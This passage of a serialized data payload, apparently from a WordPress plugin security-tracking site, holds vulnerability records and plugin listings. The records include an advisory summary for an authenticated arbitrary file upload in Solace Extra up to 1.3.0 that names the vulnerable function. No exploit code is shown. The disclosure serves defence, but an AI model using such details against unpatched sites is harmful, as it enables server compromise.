possible.","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2025-04-10 00:00:00","2025-04-25 14:53:22",[108],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa46cd288-5272-4e6c-b01a-f26eb7081168?source=api-prod",16,[],{"id":112,"url_slug":113,"title":114,"description":115,"plugin_slug":4,"theme_slug":36,"affected_versions":116,"patched_in_version":117,"severity":101,"cvss_score":102,"cvss_vector":103,"vuln_type":104,"published_date":118,"updated_date":119,"references":120,"days_to_patch":46,"patch_diff_files":122,"patch_trac_url":36,"research_status":36,"research_verified":57,"research_rounds_completed":13,"research_plan":36,"research_summary":36,"research_vulnerable_code":36,"research_fix_diff":36,"research_exploit_outline":36,"research_model_used":36,"research_started_at":36,"research_completed_at":36,"research_error":36,"poc_status":36,"poc_video_id":36,"poc_summary":36,"poc_steps":36,"poc_tested_at":36,"poc_wp_version":36,"poc_php_version":36,"poc_playwright_script":36,"poc_exploit_code":36,"poc_has_trace":57,"poc_model_used":36,"poc_verification_depth":36},"WF-8b11a4ce-9e11-4c4b-8c61-3de05750f568-solace-extra","solace-extra-authenticated-subscriber-arbitrary-file-upload","Solace Extra \u003C= 1.3.0 - Authenticated (Subscriber+) Arbitrary File Upload","The Solace Extra plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the download_and_update_logo_logo_from_live_url() function in all versions up to, and including, 1.3.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.","\u003C=1.3.0","1.3.1","2025-03-06 00:00:00","2025-03-06 14:46:36",[121],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8b11a4ce-9e11-4c4b-8c61-3de05750f568?source=api-prod",[],{"slug":7,"display_name":7,"profile_url":8,"plugin_count":124,"total_installs":125,"avg_security_score":126,"avg_patch_time_days":127,"trust_score":128,"computed_at":129},2,20000,95,25,91,"2026-07-22T02:11:52.804Z",[131,154,178,197,215],{"slug":132,"name":133,"version":134,"author":135,"author_profile":136,"description":137,"short_description":138,"active_installs":139,"downloaded":140,"rating":13,"num_ratings":13,"last_updated":141,"tested_up_to":142,"requires_at_least":143,"requires_php":144,"tags":145,"homepage":151,"download_link":152,"security_score":153,"vuln_count":13,"unpatched_count":13,"last_vuln_date":36,"fetched_at":28},"kits-templates-and-patterns","Kits, Templates and Patterns","3.0","Get Bowtied","https:\u002F\u002Fprofiles.wordpress.org\u002Fgetbowtied\u002F","\u003Cp>Import Kits, Templates and Patterns with just one click.\u003C\u002Fp>\n\u003Cp>Get \u003Ca href=\"https:\u002F\u002Fgetbowtied.com\u002Fsupport\u002F\" rel=\"nofollow ugc\">support\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Notes\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>The plugin makes a call to our server remotely to import static demo content.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Requirements\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>WordPress 6 or later.\u003C\u002Fli>\n\u003C\u002Ful>\n","Import Kits, Templates and Patterns with just one click.",5000,36401,"2025-11-01T15:12:00.000Z","6.8.5","6.0","",[146,147,148,149,150],"import-demo-content","kits","one-click-import","patterns","templates","https:\u002F\u002Fgetbowtied.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkits-templates-and-patterns.3.0.zip",100,{"slug":155,"name":156,"version":157,"author":158,"author_profile":159,"description":160,"short_description":161,"active_installs":162,"downloaded":163,"rating":164,"num_ratings":165,"last_updated":166,"tested_up_to":15,"requires_at_least":167,"requires_php":168,"tags":169,"homepage":175,"download_link":176,"security_score":153,"vuln_count":46,"unpatched_count":13,"last_vuln_date":177,"fetched_at":28},"bosa-elementor-for-woocommerce","Bosa Elementor Addons and Templates for WooCommerce","1.0.26","Bosa Themes","https:\u002F\u002Fprofiles.wordpress.org\u002Fbosathemes\u002F","\u003Cp>Enhance your online store with powerful Elementor widgets and a versatile, ready-to-use template library designed for seamless customization and enhanced functionality. Please visit \u003Ca href=\"https:\u002F\u002Fbosathemes.com\u002Fbosa-elementor-for-woocommerce\" rel=\"nofollow ugc\">Plugin Homepage\u003C\u002Fa> for more information.\u003C\u002Fp>\n\u003Cp>🌟 \u003Cstrong>Collection of Elementor Page Templates!\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Pre-built Templates Library\u003C\u002Fstrong> – Access a collection of Elementor Page Templates to build your site effortlessly and efficiently.\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Variety of Shop Templates\u003C\u002Fstrong> – A diverse collection of homepages and inner pages specially designed for your online store.\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Seamless Import System\u003C\u002Fstrong> – Easily import Templates for quick and hassle-free customization.\u003C\u002Fp>\n\u003Cp>Browse the full library of \u003Ca href=\"https:\u002F\u002Fbosathemes.com\u002Fbosa-elementor-for-woocommerce\u002F#template-list\" rel=\"nofollow ugc\">Templates\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🚀 \u003Cstrong>Collection of Widgets\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Elegant widget sets designed to enhance your eCommerce website, effortlessly and efficiently.\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo -Product Tabs(PRO)\u003C\u002Fstrong>: Organize products in a clean, easy-to-navigate tab format within a single page. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoo-product-tabs-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Image Carousel(PRO)\u003C\u002Fstrong>: Display multiple images in a compact, interactive, and visually appealing format to easily navigate through them. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fimage-carousel-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Testimonial Slider(PRO)\u003C\u002Fstrong>:Display client’s reviews or testimonials in a rotating, interactive format, enhancing credibility and trust for a product or service. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Ftestimonial-slider-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Archive Products\u003C\u002Fstrong>: Display your product archive in an organized layout for easy browsing. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-products-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Products List\u003C\u002Fstrong>: Show a list of products with easy navigation and detailed descriptions. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-products-list-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Categories\u003C\u002Fstrong>: Display your product categories to help users navigate your store efficiently. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-categories-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Archive Carousel\u003C\u002Fstrong>: Showcase products in a sleek carousel design, perfect for highlighting categories or featured products. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-carousel-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Categories List\u003C\u002Fstrong>: Display a list of product categories in an organized, visually appealing layout. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-categories-list-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Site Logo\u003C\u002Fstrong>: Easily customize your site logo to represent your brand. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fsite-logo-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Blog\u003C\u002Fstrong>: Display your blog posts in a clean, easy-to-read format for better user engagement. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fblog-grid-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Contact Form 7\u003C\u002Fstrong>: Integrate a user-friendly contact form with customizable fields to connect with your audience. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fcontact-form-7-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Product Slider(PRO)\u003C\u002Fstrong>: Allow users to browse products in a smooth slider, enhancing the shopping experience. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-product-slider-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Grid Products (PRO)\u003C\u002Fstrong>: Display your products in a grid layout for a neat and user-friendly shopping experience. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-grid-products-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Grid Carousel(PRO)\u003C\u002Fstrong>: Combine the power of grids and carousels to showcase your products dynamically. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-grid-carousel-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Hot Deals(PRO)\u003C\u002Fstrong>: Showcase your hot deals and discounts to attract more customers. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-hot-deal-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅\u003Cstrong>Woo – Product Accordion (PRO)\u003C\u002Fstrong>: Display product details in a collapsible accordion style, allowing users to easily view more products without cluttering the page. \u003Ca href=\"https:\u002F\u002Fdemo.bosathemes.com\u002Felementor-for-woocommerce\u002Fwoocommerce-products-accordion-widget\u002F\" rel=\"nofollow ugc\">[VIEW DEMO]\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>✅More Coming Soon…\u003C\u002Fp>\n","Elementor Addon with widgets and templates for WooCommerce.",30000,437490,92,26,"2026-02-18T11:43:00.000Z","4.0","5.6",[170,171,172,173,174],"elementor-addons","elementor-templates","elementor-widgets","one-click-template-import","woocommerce","https:\u002F\u002Fbosathemes.com\u002Fbosa-elementor-for-woocommerce","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbosa-elementor-for-woocommerce.1.0.26.zip","2024-06-06 00:00:00",{"slug":179,"name":180,"version":181,"author":182,"author_profile":183,"description":184,"short_description":185,"active_installs":125,"downloaded":186,"rating":153,"num_ratings":94,"last_updated":187,"tested_up_to":15,"requires_at_least":188,"requires_php":168,"tags":189,"homepage":193,"download_link":194,"security_score":195,"vuln_count":46,"unpatched_count":13,"last_vuln_date":196,"fetched_at":28},"skt-templates","SKT Templates – 100% Free Templates for Elementor & Gutenberg","6.30.6","sonalsinha21","https:\u002F\u002Fprofiles.wordpress.org\u002Fsonalsinha21\u002F","\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F2QVEhff55d4?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>SKT Templates is a free template library for \u003Cstrong>Elementor\u003C\u002Fstrong> and \u003Cstrong>Gutenberg\u003C\u002Fstrong> that helps you create professional websites quickly and easily.\u003C\u002Fp>\n\u003Cp>With SKT Templates, you can browse ready made designs, preview demos, and import templates directly into your WordPress website. All templates can be customized using Elementor or the Gutenberg block editor.\u003C\u002Fp>\n\u003Cp>The plugin works with any popular theme or you can choose to use any theme from our \u003Ca href=\"https:\u002F\u002Fwww.sktthemes.org\u002Fproduct-category\u002Ffree-wordpress-themes\u002F\" rel=\"nofollow ugc\">SKT Themes free.\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>These templates allow you to import them into your existing website and edit them and use them to build professional websites.\u003C\u002Fp>\n\u003Cp>All of the templates are being downloaded from our test server at SKT Themes.\u003C\u002Fp>\n\u003Ch4>Can be used for any business or personal site\u003C\u002Fh4>\n\u003Cp>The designs and templates apply to wide range of businesses like hotels, lodging, spa, salon, construction, personal, blog, fitness, medical, health, charity, pet, maintenance services and a lot more.\u003C\u002Fp>\n\u003Cp>All you need to do is take a look at the demo and import them to make use of it.\u003C\u002Fp>\n\u003Ch4>Extend Functionality\u003C\u002Fh4>\n\u003Cp>Extend the functionality by choosing any of our SKT free themes from our website and downloading them so that the whole template including header and footer and full features can be made use of.\u003C\u002Fp>\n\u003Cp>In case you like any of the themes displayed and want to get all the pages of the theme and show just like shown in demo on our website then you can choose to buy the single theme from our https:\u002F\u002Fwww.sktthemes.org\u002Fthemes\u002F page.\u003C\u002Fp>\n\u003Cp>However as said earlier The plugin works with \u003Cstrong>any WordPress theme\u003C\u002Fstrong>, including SKT Themes and other popular themes available in the WordPress repository.\u003C\u002Fp>\n\u003Ch4>Key Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>One-click template import\u003C\u002Fli>\n\u003Cli>Works with Elementor and Gutenberg\u003C\u002Fli>\n\u003Cli>100% free templates\u003C\u002Fli>\n\u003Cli>Compatible with all WordPress themes\u003C\u002Fli>\n\u003Cli>Professional and modern layouts\u003C\u002Fli>\n\u003Cli>Easy customization inside your dashboard\u003C\u002Fli>\n\u003Cli>Regularly updated with new templates\u003C\u002Fli>\n\u003Cli>Lightweight and performance-friendly\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Template Categories\u003C\u002Fh4>\n\u003Cp>Templates are available for a wide range of websites, including:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Business & Corporate\u003C\u002Fli>\n\u003Cli>Construction & Services\u003C\u002Fli>\n\u003Cli>Hotels & Hospitality\u003C\u002Fli>\n\u003Cli>Fitness & Gym\u003C\u002Fli>\n\u003Cli>Medical & Health\u003C\u002Fli>\n\u003Cli>Blog & Personal Websites\u003C\u002Fli>\n\u003Cli>Charity & Non-profit\u003C\u002Fli>\n\u003Cli>Portfolio & Creative\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>New templates are added regularly.\u003C\u002Fp>\n\u003Ch4>Elementor & Gutenberg Support\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>\u003Cstrong>Elementor Templates:\u003C\u002Fstrong> Import full pages and sections and customize them visually.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Gutenberg Templates:\u003C\u002Fstrong> Use modern block-based layouts built for the WordPress editor.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>You can mix templates and adapt them to your brand easily.\u003C\u002Fp>\n\u003Ch4>Compatibility & Reliability\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Works with any WordPress theme\u003C\u002Fli>\n\u003Cli>Compatible with the latest WordPress versions\u003C\u002Fli>\n\u003Cli>Follows WordPress coding standards\u003C\u002Fli>\n\u003Cli>Actively maintained and improved\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Documentation\u003C\u002Fh3>\n\u003Cp>Please check the full documentation here : \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fsktthemesdemo.net\u002Fdocumentation\u002Fskt-templates-plugin-doc\" rel=\"nofollow ugc\">click here\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n","Import professionally designed Elementor and Gutenberg website templates with one click. Build websites faster without coding.",1068931,"2026-04-10T09:55:00.000Z","5.0",[190,191,148,192,150],"elementor","gutenberg","page-builder","https:\u002F\u002Fwww.sktthemes.org\u002Fshop\u002Fready-to-import-wordpress-sites\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fskt-templates.zip",99,"2024-09-16 00:00:00",{"slug":198,"name":199,"version":200,"author":201,"author_profile":202,"description":203,"short_description":204,"active_installs":125,"downloaded":205,"rating":206,"num_ratings":26,"last_updated":207,"tested_up_to":15,"requires_at_least":143,"requires_php":17,"tags":208,"homepage":211,"download_link":212,"security_score":126,"vuln_count":213,"unpatched_count":13,"last_vuln_date":214,"fetched_at":28},"thim-elementor-kit","Thim Kit for Elementor – Pre-built Templates & Widgets for Elementor","1.3.8","ThimPress","https:\u002F\u002Fprofiles.wordpress.org\u002Fthimpress\u002F","\u003Cp>Thim Elementor Kit is a powerful plugin designed to extend the capabilities of the Elementor page builder, enabling you to construct professional and unique LearnPress websites with ease. With a collection of various advanced widgets and functionalities, Thim Elementor Kit empowers you to create any type of website, from personal blogs to complex online eLearning sites, without any coding knowledge.\u003C\u002Fp>\n\u003Ch3>Key Features\u003C\u002Fh3>\n\u003Cp>✅ Seamless Elementor Integration – Works flawlessly with Elementor for a smooth design experience.\u003Cbr \u002F>\n✅ Extensive Widget Library – Access a diverse set of advanced widgets to enhance functionality.\u003Cbr \u002F>\n✅ Pre-Designed Templates & Blocks – Speed up your workflow with beautiful, ready-to-use designs.\u003Cbr \u002F>\n✅ Pixel-Perfect Customization – Easily fine-tune every element to match your vision.\u003Cbr \u002F>\n✅ Interactive & Dynamic Elements – Bring life to your pages with animations and effects.\u003Cbr \u002F>\n✅ Fully Responsive & Mobile-Optimized – Ensure a seamless experience across all devices.\u003Cbr \u002F>\n✅ Performance-Focused – Lightweight and optimized for fast loading speeds.\u003C\u002Fp>\n\u003Ch3>Widgets & Features list\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Templates & Library:\u003C\u002Fstrong>\u003Cbr \u002F>\nYou can enjoy a rich library of pre-designed templates to start your projects quickly. Also, it’s simple to import and customize templates to align with your own brand and style.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Dynamic Tags’ Customization Details:\u003C\u002Fstrong>\u003Cbr \u002F>\nDiscover how Dynamic Tags can be used to link dynamic content from several sources, resulting in adaptable and modern websites. Of course, it allows you to customize every detail of your website, from titles to images, based on dynamic data.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>The Widget List:\u003C\u002Fstrong>\u003Cbr \u002F>\n\u003Cstrong>\u003Cem>Global widgets\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  1. Nav Menu\u003Cbr \u002F>\n  2. Site Logo\u003Cbr \u002F>\n  3. Header Info\u003Cbr \u002F>\n  4. Social\u003Cbr \u002F>\n  5. Social Share\u003Cbr \u002F>\n  6. Mini Cart\u003Cbr \u002F>\n  7. List Blog\u003Cbr \u002F>\n  8. List Course\u003Cbr \u002F>\n  9. List Product\u003Cbr \u002F>\n  10. Team\u003Cbr \u002F>\n  11. Testimonial\u003Cbr \u002F>\n  12. Back To Top\u003Cbr \u002F>\n  13. Contact Form 7\u003Cbr \u002F>\n  14. Breadcrumb\u003Cbr \u002F>\n  15. Search Form\u003Cbr \u002F>\n  16. Categories\u003Cbr \u002F>\n  17. Image Accordion\u003Cbr \u002F>\n  18. Heading\u003Cbr \u002F>\n  19. Button\u003Cbr \u002F>\n  20. Tab\u003Cbr \u002F>\n  21. Accordion\u003Cbr \u002F>\n  22. Slider\u003Cbr \u002F>\n  23. Icon Box\u003Cbr \u002F>\n  24. Login Popup\u003Cbr \u002F>\n  25. Login Form\u003Cbr \u002F>\n  26. Instagram Feed\u003Cbr \u002F>\n  27. Video\u003Cbr \u002F>\n  28. Page Title\u003Cbr \u002F>\n  29. Dark Mode Switch\u003Cbr \u002F>\n  30. Archive Description\u003Cbr \u002F>\n  31. Countdown\u003Cbr \u002F>\n  32. Icon SVG Draw\u003Cbr \u002F>\n  33. Progress Tracker\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Cem>Archive Post\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  34. Archive post\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Cem>Single Post\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  35. Post Title\u003Cbr \u002F>\n  36. Post Content\u003Cbr \u002F>\n  37. Post Featured Image\u003Cbr \u002F>\n  38. Author Box\u003Cbr \u002F>\n  39. Post Comment\u003Cbr \u002F>\n  40. Post Navigation\u003Cbr \u002F>\n  41. Post Info\u003Cbr \u002F>\n  42. Post Related\u003Cbr \u002F>\n  43. Reading Time Post\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Cem>Archive Product\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  44. Archive Product\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Cem>Single Product\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  45. Product Title\u003Cbr \u002F>\n  46. Product Image\u003Cbr \u002F>\n  47. Product Price\u003Cbr \u002F>\n  48. Product Add to Cart\u003Cbr \u002F>\n  49. Product Rating\u003Cbr \u002F>\n  50. Product Notices\u003Cbr \u002F>\n  51. Product Meta\u003Cbr \u002F>\n  52. Product Short Description\u003Cbr \u002F>\n  53. Product Content\u003Cbr \u002F>\n  54. Product Tabs\u003Cbr \u002F>\n  55. Product Additional Information\u003Cbr \u002F>\n  56. Product Related\u003Cbr \u002F>\n  57. Product Upsells\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Cem>Archive Course\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  58. Archive Course\u003C\u002Fp>\n\u003Cp>\u003Cstrong>\u003Cem>Single Course\u003C\u002Fem>\u003C\u002Fstrong>:\u003Cbr \u002F>\n  59. Course Title\u003Cbr \u002F>\n  60. Course Instructor\u003Cbr \u002F>\n  61. Course Meta\u003Cbr \u002F>\n  62. Course Categories\u003Cbr \u002F>\n  63. Course Tags\u003Cbr \u002F>\n  64. Course Image\u003Cbr \u002F>\n  65. Course Price\u003Cbr \u002F>\n  66. Course Graduation\u003Cbr \u002F>\n  67. Course User Time\u003Cbr \u002F>\n  68. Course User Progress\u003Cbr \u002F>\n  69. Course Tabs\u003Cbr \u002F>\n  70. Course Extra\u003Cbr \u002F>\n  71. Course Buttons\u003Cbr \u002F>\n  72. Course Related\u003Cbr \u002F>\n  73. Course Rating\u003Cbr \u002F>\n  74. Course Description\u003Cbr \u002F>\n  75. Course Offer End\u003Cbr \u002F>\n  76. Course Comment\u003Cbr \u002F>\n  77. Course Feature Review\u003Cbr \u002F>\n  78. Course Section\u003Cbr \u002F>\n  79. Course Items Progress\u003Cbr \u002F>\n  80. Course Search Form\u003Cbr \u002F>\n  81. Item Data\u003Cbr \u002F>\n  82. Course Curriculum\u003Cbr \u002F>\n  83. Course Item Navigation\u003Cbr \u002F>\n  84. Close Sidebar\u003Cbr \u002F>\n  85. Back To Course\u003C\u002Fp>\n\u003Ch3>Benefits of Thim Elementor Kit\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Seamless Integration with Elementor – Enjoy smooth and hassle-free compatibility with Elementor for effortless website building.\u003C\u002Fli>\n\u003Cli>Extensive Widget & Template Library – Access a diverse collection of widgets and templates to enhance your site’s design.\u003C\u002Fli>\n\u003Cli>High Customization Capabilities – Create unique and professional websites with flexible styling options.\u003C\u002Fli>\n\u003Cli>Enhanced User Experience – Improve UI with interactive and dynamic functionalities for a more engaging site.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Best themes using Thim Elementor Kit\u003C\u002Fh3>\n\u003Cp>You can find some of our most popular themes built by Thim Elementor Kit below:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Feduma.thimpress.com\u002Fdemo-marketplace\u002F\" rel=\"nofollow ugc\">Eduma Marketplace Live Demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcoaching.thimpress.com\u002F\" rel=\"nofollow ugc\">Coaching Live Demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fcoursebuilder.thimpress.com\u002F\" rel=\"nofollow ugc\">Course Builder Live Demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Frealpress.thimpress.com\u002F\" rel=\"nofollow ugc\">RealPress Live Demo\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Who Can Use This Plugin\u003C\u002Fh3>\n\u003Cp>Thim Elementor Kit is designed for WordPress users who want effortless customization, flexibility, and professional design without coding. It’s ideal for:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Creative Professionals – Bloggers, designers, and freelancers looking to build unique and engaging websites.\u003C\u002Fli>\n\u003Cli>Business Owners & Entrepreneurs – Those who need a polished, high-converting site with ease.\u003C\u002Fli>\n\u003Cli>Agencies & Developers – Experts who want efficiency, scalability, and deep customization.\u003C\u002Fli>\n\u003Cli>Educators & Course Creators – Users who need interactive and dynamic layouts for e-learning platforms.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>No matter your expertise level, Thim Elementor Kit empowers you to craft stunning, responsive, and high-performance websites with ease! 🚀\u003C\u002Fp>\n\u003Cp>Every website can use Thim Elementor Kit as long as you install the free Elementor Website Builder.\u003C\u002Fp>\n\u003Ch3>Documentation\u003C\u002Fh3>\n\u003Cp>In case you need any assistance, you can find further help here:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Documentation: Thim Elementor Kit’s tutorial guidance.\u003C\u002Fli>\n\u003Cli>Support Forum: Provide support for Thim Elementor Kit’s setup and bug fixing issues.\u003C\u002Fli>\n\u003C\u002Ful>\n","Thim Elementor Kit is a plugin which supports users to build theme, layout, page, post, product, Woocommerce, LearnPress, courses with Elementor.",356232,84,"2026-02-23T02:06:00.000Z",[190,170,172,209,210],"learnpress","template-kit","https:\u002F\u002Fthimpress.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fthim-elementor-kit.1.3.8.zip",6,"2026-03-14 00:34:04",{"slug":216,"name":217,"version":218,"author":219,"author_profile":220,"description":221,"short_description":222,"active_installs":11,"downloaded":223,"rating":224,"num_ratings":225,"last_updated":226,"tested_up_to":142,"requires_at_least":143,"requires_php":17,"tags":227,"homepage":144,"download_link":232,"security_score":195,"vuln_count":46,"unpatched_count":13,"last_vuln_date":233,"fetched_at":28},"addonskit-for-elementor","Directorist AddonsKit for Elementor","1.3.0","wpWax","https:\u002F\u002Fprofiles.wordpress.org\u002Fwpwax\u002F","\u003Cp>The \u003Cstrong>Directorist AddonsKit for Elementor\u003C\u002Fstrong> is a feature-packed collection of add-ons that extends Elementor’s capabilities, enabling you to create stunning and highly functional directory websites. Designed for seamless integration with the Directorist plugin, this kit provides advanced widgets, pre-built templates, and customizable layouts that cater to real estate, job boards, service directories, and more.\u003C\u002Fp>\n\u003Ch4>Key Features\u003C\u002Fh4>\n\u003Col>\n\u003Cli>\n\u003Cp>\u003Cstrong>Advanced Directory Widgets\u003C\u002Fstrong>: Add specialized Directorist widgets for enhanced directory listings, user profiles, and search functionalities—no coding required.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Pre-built Templates\u003C\u002Fstrong>: Access professionally designed templates to quickly build pages optimized for various directory types.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Customizable Listing Layouts\u003C\u002Fstrong>: Enjoy multiple layout options, including grid and list views, and customize them to suit your brand.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Advanced Search Filters\u003C\u002Fstrong>: Enable advanced filtering options like location, categories, tags, and custom fields.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Fully Responsive Design\u003C\u002Fstrong>: Ensure your directory website looks great on all devices.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Seamless Integration with Directorist\u003C\u002Fstrong>: Works perfectly with the Directorist plugin for expanded functionality.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Easy Setup and Customization\u003C\u002Fstrong>: Use a simple drag-and-drop interface to create and customize without touching 